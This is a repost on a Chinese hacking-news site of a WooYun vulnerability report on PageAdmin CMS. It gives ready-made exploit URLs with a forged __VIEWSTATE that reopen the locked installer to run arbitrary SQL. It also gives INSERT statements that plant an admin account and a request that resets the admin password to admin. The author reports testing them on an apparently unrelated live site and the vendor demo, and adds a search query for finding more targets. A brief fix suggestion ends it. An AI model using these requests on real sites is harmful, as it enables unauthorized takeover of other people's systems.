记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

PageAdmin可“伪造”VIEWSTATE从而执行任意SQL查询、可随意重置管理员密码

2014-08-16 17:20

先例行公事:

官网:http://www.pageadmin.net/

搜索引擎:https://www.google.de/#newwindow=1&q=PageAdmin+CMS,++All+Rights+Reserved&start=90

搜索结果非常巨大,有点让我震惊,所以我才决定去试试看。

好吧,直接插入吧!



任意SQL查询

先访问安装页面:

http://www.youlu888.com/e/install/index.aspx

image001.png





提示已经lock了

直接访问下面的链接(.NET的小“BUG”):

http://www.youlu888.com/e/install/index.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D&ctl02=%E8%BF%90%E8%A1%8CSQL



image003.png



下面还提示要删除lock文件啊,忽视,随意输入点东西,执行:

image005.png



执行了!



来一发(test2/admin不解释):

insert into pa_member(id,username,userpassword,m_group) values(999,'test2','c868a64eabe1126d5b514afcf8dda46b17f','admin');



同时再执行一个

insert into pa_adminpermission(site_id,uid) values(1,999);



为什么要执行后面这个,请仔细想想表名的意思。另外site_id的信息可看下图:

image009.png



登录:

image010.png





好吧,看看官网吧:

http://demo.pageadmin.net/e/install/index.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D&ctl02=%E8%BF%90%E8%A1%8CSQL



image012.png



image014.png



找一下后台,登录

http://demo.pageadmin.net/e/master2007/login.aspx

image016.png



获取到物理路径:

image018.png



漏洞证明:

管理员密码任意重置

为了规避一些问题,这个操作我在本地搭建的环境进行。

先看正常步骤,setup=4的时候是管理密码设置

image020.png





这里我设置为了123456,点击下一步的时候记得抓下数据包。

当我再次执行访问setup=4的时候,已经提示lock了:

image021.png





根据我们前面获取到的VIEWSTATE,构造出下面的句子:

e/install/index.aspx?setup=4?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYGAgEPFgIeB1Zpc2libGVoZAIDDxYCHwBoZAIJDxYCHwBnZGQ%3D&Login_Pass=admin&Login_Pass1=admin&ctl09=%E4%B8%8B%E4%B8%80%E6%AD%A5





Login_Pass=admin&Login_Pass1=admin就是把密码设置为admin了,访问之后:

访问:

image022.png



呵呵一笑。说初始化完毕了,去后台登录,看看我们admin/admin是否修改成功:

image024.png







成功!如果觉得有疑问的,可以下载官方给出的包:

http://file.pageadmin.net/v3.rar

自行测试就知道了。



好了,说点实在的东西,那这个

__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D



到底是怎么来的呢?其实很简单,自己本地搭建一个,然后访问获取到相关参数值即可。VIEWSTATE只是保存控件的一个状态,所以只要符合他加密的规律的他自然可以解开并还原控件的状态,然后就呵呵了

其它请参阅:

http://msdn.microsoft.com/zh-cn/library/ms227551(v=vs.80).aspx

具体这个执行任意SQL查询到底还可以干什么?自己发挥想象了。管理员密码重置还挺直接的哈。

修复方案:

安装目录的每个tab页面添加一个token做随机数吧,同时,在做任意一个安装操作的时候,都检查是否有lock文件存在。为了安全嘛!

知识来源: www.wooyun.org/bugs/wooyun-2014-061699

阅读:356913 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“PageAdmin可“伪造”VIEWSTATE从而执行任意SQL查询、可随意重置管理员密码”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云